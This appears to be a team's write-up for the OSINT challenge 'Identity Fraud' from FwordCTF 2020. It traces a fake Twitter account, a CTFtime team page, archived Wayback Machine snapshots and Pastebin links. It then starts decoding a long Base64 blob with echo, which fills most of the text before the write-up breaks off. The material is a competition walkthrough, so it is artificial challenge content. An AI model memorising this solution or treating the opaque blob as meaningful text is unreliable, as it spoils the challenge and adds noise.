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# FwordCTF 2020 WriteupThis repository serves as a writeup for FwordCTF 2020 solved by [S3c5murf](https://ctftime.org/team/63808)'s team
## Identity Fraud
**Category:** OSINT**Points:** 419**Author:** Cyb3rDoctor**Description:**
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
> Flag Format: Eword{}
**Hint:**
>(no hint)
### Write-up
I got to the Twitter profile [@1337bloggs](https://twitter.com/1337bloggs/with_replies). And I found the [retweeted](https://twitter.com/EwordTeam/status/1297957636026126339) tweet there.
[@EwordTeam](https://twitter.com/EwordTeam) recommended the user to visit their ctftime's team profile to continue working on this task.
It's possible to search the team Eword in the [Rating page](https://ctftime.org/stats/) on ctftime.org. And 'Eword' is the team name that we are looking for because [@EwordTeam](https://twitter.com/EwordTeam) shared their ctftime's team profile link in their Twitter's profile description.
And this is the team profile: [https://ctftime.org/team/131587](https://ctftime.org/team/131587)
But, as [@EwordTeam](https://twitter.com/EwordTeam) mentioned, it looks like the description was removed from there.
The first thing I thought about was [Wayback Machine](https://archive.org/web/).
I pasted the URL `https://ctftime.org/team/131587` and I found that link was indexed on 26/08/2020 and 27/08/2020 which is 2 days before the starting of the CTF.
Then, I choosed the indexed page from 27/08/2020: [archive](https://web.archive.org/web/20200827114614/https://ctftime.org/team/131587)
And that's how we found an extra link from Pastebin: [https://pastebin.com/8bk9qLX1](https://pastebin.com/8bk9qLX1)
I accessed that link.
So, the real task started and we should find the leader of Eword by following the hint provided in the second Pastebin link: [https://pastebin.com/PZvaSjA0](https://pastebin.com/PZvaSjA0)
As we can see, that link provided a Base64 encoded string. I was saying this is most likely a file but what type of file is this ? And the best way to know that is to decode the Base64 encoded string and to set it into a file and then we use the command `file` to identify what type of file is that:
```echo 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